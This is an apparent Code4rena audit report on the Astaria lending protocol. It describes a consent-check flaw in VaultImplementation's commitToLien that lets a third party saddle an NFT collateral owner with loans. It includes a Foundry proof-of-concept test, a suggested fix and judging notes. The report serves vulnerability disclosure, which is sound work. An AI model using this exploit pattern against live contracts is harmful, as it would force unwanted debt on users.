Anyone can make a collateral token owner takes a loan without consent

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L237-L244

Vulnerability details

Impact

Let's say Bob used his NFT as a collateral which allowed him to take loans up to 50 ether as a max potential debt. Bob decided to borrow only 10 ether. As per the protocol's logic, Bob can give consent by approving another actor (e.g. operator) to take loans on his behalf.
However, a malicious actor can still make Bob takes additional loans (commitToLien) without his consent. This results in:

1. Loans being taken by Bob without his consent.
2. Bob commits to loans with strategies that are not beneficial to him.
3. Bob has to pay the accrued interests to close those loans once he becomes aware of it which is a loss of fund.

Proof of Concept

1. Please create a file with a name LoanWithoutConsentTest.t.sol under src/test/ directory.

2. Add the following code to the file.

pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {Authority} from "solmate/auth/Auth.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";

import {ERC721} from "gpl/ERC721.sol";
import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";
import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol";
import {VaultImplementation} from "../VaultImplementation.sol";
import "./TestHelpers.t.sol";
import {IVaultImplementation} from "../interfaces/IVaultImplementation.sol";

contract AstariaTest is TestHelpers {
  using CollateralLookup for address;

  address maliciousActor = vm.addr(uint256(0x7778));

  ILienToken.Details public lienDetails =
    ILienToken.Details({
      maxAmount: 50 ether,
      rate: (uint256(1e16) * 150) / (365 days),
      duration: 10 days,
      maxPotentialDebt: 50 ether,
      liquidationInitialAsk: 500 ether
    });


  function testTakeLoanWithoutConsent() public {
    TestNFT nft = new TestNFT(3);
    address tokenContract = address(nft);

    uint256 initialBalance = WETH9.balanceOf(address(this));

    // create two private vaults
    address privateVault = _createPrivateVault({
      strategist: strategistOne,
      delegate: strategistTwo
    });
    address privateVault2 = _createPrivateVault({
      strategist: strategistOne,
      delegate: strategistTwo
    });

    // fund the vaults
    _lendToPrivateVault(
      Lender({addr: strategistOne, amountToLend: 50 ether}),
      privateVault
    );
    _lendToPrivateVault(
      Lender({addr: strategistOne, amountToLend: 50 ether}),
      privateVault2
    );

    // transfer the NFT to COLLATERAL TOKEN  contract
    ERC721(tokenContract).safeTransferFrom(address(this),address(COLLATERAL_TOKEN),1,"");

    IAstariaRouter.Commitment memory c = _generateValidTerms({
      vault: privateVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: 1,
      lienDetails: lienDetails,
      amount: 10 ether,
      stack: new ILienToken.Stack[](0)
    });

    (uint256 lienId, ILienToken.Stack[] memory stack , uint256 payout) = IVaultImplementation(privateVault).commitToLien(
        c,
        address(this)
    );

    // a malicious actor can make address(this) commitToLien without consent
    vm.startPrank(maliciousActor);
    IAstariaRouter.Commitment memory c2 = _generateValidTerms({
      vault: privateVault2,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: 1,
      lienDetails: lienDetails,
      amount: 10 ether,
      stack: stack
    });
    (uint256 lienId2, , uint256 payout2) = IVaultImplementation(privateVault2).commitToLien(
        c2,
        address(this)
    );
    vm.stopPrank();

    // the second loan was taken successfuly although the collateral owner didn't give any consent 
    assertEq(WETH9.balanceOf(address(this)), initialBalance + 20 ether);

  }



}

3. Then run the forge test command as follows (replace $FORK_URL with your RPC URL):

forge test --ffi --fork-url $FORK_URL --fork-block-number 15934974 --match-path src/test/LoanWithoutConsentTest.t.sol

The test will pass.

Note:This attack isn't possible when using AstariaRouter as it has additional check:

  if (msg.sender != s.COLLATERAL_TOKEN.ownerOf(collateralId)) {
      revert InvalidSenderForCollateral(msg.sender, collateralId);
    }

Tools Used

Manual analysis

Recommended Mitigation Steps

In VaultImplementation's _validateCommitment function, Fix the logic in the following code:

    if (
      msg.sender != holder &&
      receiver != holder &&
      receiver != operator &&
      !CT.isApprovedForAll(holder, msg.sender)
    ) {
      revert InvalidRequest(InvalidRequestReason.NO_AUTHORITY);
    }

[Picodes]

This finding doesn't do the job of explaining the root cause of the issue, although I guess from the Recommended Mitigation Steps that the warden identified it. Giving Partial Credit for now.

[c4-judge]

Picodes marked the issue as duplicate of #565

[c4-judge]

Picodes marked the issue as partial-50

[c4-judge]

Picodes marked the issue as full credit

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to QA (Quality Assurance)

[c4-judge]

This previously downgraded issue has been upgraded by Picodes

[c4-judge]

Picodes marked the issue as not a duplicate

[c4-judge]

Picodes marked the issue as duplicate of #19